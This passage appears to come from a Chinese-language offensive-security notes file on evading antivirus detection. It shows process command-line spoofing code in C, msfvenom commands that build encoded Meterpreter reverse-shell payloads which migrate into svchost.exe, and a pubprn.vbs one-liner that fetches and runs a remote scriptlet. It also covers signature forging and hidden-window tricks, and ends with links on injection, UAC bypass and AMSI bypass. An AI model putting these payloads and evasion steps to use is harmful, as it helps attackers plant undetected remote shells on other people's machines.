ProcessExplorer ///////// 2135 | 2136 | // Update the CommandLine length (Remember, UNICODE length here) 2137 | DWORD newUnicodeLen = 28; 2138 | 2139 | success = writeProcessMemory( 2140 | pi.hProcess, 2141 | (char *)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length), 2142 | (void*)&newUnicodeLen, 2143 | 4 2144 | ); 2145 | if (success == FALSE) { 2146 | printf("[!] Error: Could not call WriteProcessMemory to update commandline arg length\n"); 2147 | return 1; 2148 | } 2149 | 2150 | // Resume thread execution*/ 2151 | ResumeThread(pi.hThread); 2152 | } 2153 | ``` 2154 | 2155 | ### 签名伪造 2156 | Sigthief 2157 | 2158 | ### 修改资源文件 2159 | ![](https://i.loli.net/2021/01/18/CrhNTg5xqXeysbM.jpg) 2160 | 2161 | 修改图标等资源文件的操作会改变文件的MD5,在某些情况下可以免杀一部分杀软,如360... 2162 | Restorator 2163 | Resource_Hacker 2164 | 2165 | ### MSF 2166 | ```bash 2167 | 1 、 msfvenom -p windows/meterpreter/reverse_http-e x86/shikata_ga_nai -i 15 -b '\x00' PrependMigrate=true PrependMigrateProc=svchost.exe LHOST=[your remote ip addres] LPORT=[listeningport] -f c >hacker.c 2168 | 2169 | 2 、 msfvenom -p windows/meterpreter/reverse_tcp-e x86/shikata_ga_nai -i 15 -b '\x00' PrependMigrate=true PrependMigrateProc=svchost.exe LHOST=[your remote ip addres]LPORT=[listening port] -f c >hacker.c 2170 | 2171 | 3 、 msfvenom -p windows/meterpreter/reverse_tcp_rc4 -e x86/shikata_ga_nai -i 15 -b '\x00' PrependMigrate=true PrependMigrateProc=svchost.exe LHOST=[your remote ip addres]LPORT=[listening port] -f c >hacker.c 2172 | ``` 2173 | `-e x86/shikata_ga_nai -i 15`是用`-e x86/shikata_ga_nai`编码15次,而`PrependMigrate=true PrependMigrateProc=svchost.exe`使这个程序默认会迁移到svchost.exe进程 2174 | 2175 | 另外使用 revers_tcp_rc4 可以对回话进行加密,对免杀有一定帮助 2176 | 2177 | ### pubprn.vbs* 2178 | ```bash 2179 | cscript C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/api0cradle/fb164762143b1ff4042d9c662171a568/raw/709aff66095b7f60e5d6f456a5e42021a95ca802/test.sct 2180 | ``` 2181 | 2182 | ### 隐藏窗口 2183 | * wmain 创建窗口项目 2184 | 2185 | * 命令参数 2186 | ```c 2187 | #pragma comment(linker, "/subsystem:windows /entry:mainCRTStartup" ) 2188 | ``` 2189 | * powershell 2190 | ```powershell 2191 | Start-Process "C:`z\Windows\System32\cmd.exe" -Window Hidden 2192 | ``` 2193 | * C# 2194 | ```c# 2195 | var handle = GetConsoleWindow(); 2196 | ShowWindow(handle, SW_HIDE); 2197 | ``` 2198 | 2199 | ## 参考资料 2200 | https://ired.team/offensive-security/code-injection-process-injection/process-injection 2201 | 2202 | https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87APC%E5%AE%9E%E7%8E%B0Dll%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87Sysmon%E7%9B%91%E6%8E%A7/ 2203 | 2204 | https://github.com/3gstudent/Inject-dll-by-APC/blob/master/test.cpp 2205 | 2206 | https://github.com/wbenny/injdrv 2207 | 2208 | https://github.com/DarthTon/Blackbone/blob/43bc59f68dc1e86347a76192ef3eadc0bf21af67/src/BlackBoneDrv/Loader.c (ring0 驱动) 2209 | 2210 | https://xz.aliyun.com/t/4191 2211 | 2212 | https://github.com/Veil-Framework/Veil 2213 | 2214 | https://github.com/cribdragg3r/Simple-Loader 2215 | 2216 | https://sevrosecurity.com/2019/05/25/bypass-windows-defender-with-a-simple-shell-loader/ 2217 | 2218 | https://j00ru.vexillium.org/syscalls/nt/64/ 2219 | 2220 | https://github.com/theevilbit/injection/blob/d166564e692d34c29620658a2102268bc9e640b1/InjectDLL/InjectDLL/InjectDLL.cpp 2221 | 2222 | https://github.com/theevilbit/injection/blob/598e77b726925153079384114fa6f599a8b84995/SimpleThreadInjection/SimpleThreadInjection/SimpleThreadInjection.cpp 2223 | 2224 | https://blog.xpnsec.com/ 2225 | 2226 | https://github.com/klionsec/BypassAV-AllThings 2227 | 2228 | https://github.com/Techryptic/AV_Bypass 2229 | 2230 | https://github.com/DamonMohammadbagher/eBook-BypassingAVsByCSharp/blob/master/CH1/Bypassing%20Anti%20Viruses%20by%20C%23.NET%20Programming%20Chapter%201.pdf 2231 | 2232 | https://github.com/Hackplayers/Salsa-tools 2233 | 2234 | https://www.anquanke.com/post/id/190344 2235 | 2236 | https://www.freebuf.com/column/135314.html 2237 | 2238 | https://modexp.wordpress.com/2015/11/19/dllpic-injection-on-windows-from-wow64-process/ 2239 | 2240 | http://deniable.org/misc/inject-all-the-things 2241 | 2242 | https://github.com/theevilbit/injection 2243 | 2244 | https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html 2245 | 2246 | https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87%E6%A8%A1%E6%8B%9F%E5%8F%AF%E4%BF%A1%E7%9B%AE%E5%BD%95%E7%BB%95%E8%BF%87UAC%E7%9A%84%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/ 2247 | 2248 | https://github.com/processhacker/processhacker/blob/master/phnt/include/ntpsapi.h 2249 | 2250 | https://ired.team/offensive-security/defense-evasion/bypassing-windows-defender-one-tcp-socket-away-from-meterpreter-and-cobalt-strike-beacon 2251 | 2252 | https://ired.team/offensive-security/code-injection-process-injection/process-injection 2253 | 2254 | https://github.com/stormshadow07/HackTheWorld 2255 | 2256 | https://github.com/diegslva/BypassUA 2257 | 2258 | https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell 2259 | 2260 | https://github.com/sailay1996/Fileless_UAC_bypass_WSReset 2261 | 2262 | https://www.activecyber.us/activelabs/windows-uac-bypass 2263 | --------------------------------------------------------------------------------